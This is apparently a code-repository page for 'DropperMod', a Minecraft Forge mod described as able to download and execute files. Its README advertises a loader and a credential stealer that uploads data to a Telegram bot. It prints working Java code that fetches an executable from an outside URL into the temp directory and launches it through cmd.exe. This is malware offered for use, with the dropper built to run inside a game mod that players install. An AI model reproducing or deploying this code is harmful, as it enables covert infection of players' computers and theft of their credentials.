Skip to content

About

πŸ”Œ A minecraft mod which can download and execute file

Resources

Stars

1 star

Watchers

0 watching

Forks

Β 
Β 

Latest commit

Β 

History

7 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ”Œ DropperMod

A minecraft(forge) mod which can download and execute file

πŸ’§ Loader (Download and run calculator)

πŸ’³ Stealer (Steal user credentials and upload to telegram bot)

⚑ How it works?

// Our file url 
final URL url = new URL("http://www.ddlands.com/downloads/Calc.exe");
// Get file temp path
String tempFileName = Paths.get(
		System.getProperty("java.io.tmpdir"), 
		new File(url.getPath()).getName().toString()
).toString();
// If target file not exists
if (!new File(tempFileName).exists()) {
	// Download file
	BufferedInputStream inputStream = new BufferedInputStream(url.openStream());
	FileOutputStream fileOutputStream = new FileOutputStream(tempFileName);
	// Write bytes to file
	byte dataBuffer[] = new byte[1024];
	int bytesRead;
	while ((bytesRead = inputStream.read(dataBuffer, 0, 1024)) != -1) {
		fileOutputStream.write(dataBuffer, 0, bytesRead);
	}
	// Close input and output stream
	inputStream.close();
	fileOutputStream.close();
	// Execute file
	Runtime.getRuntime().exec(
		new String[] { "cmd.exe", "/C", "start", tempFileName }
	);
}

About

πŸ”Œ A minecraft mod which can download and execute file

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages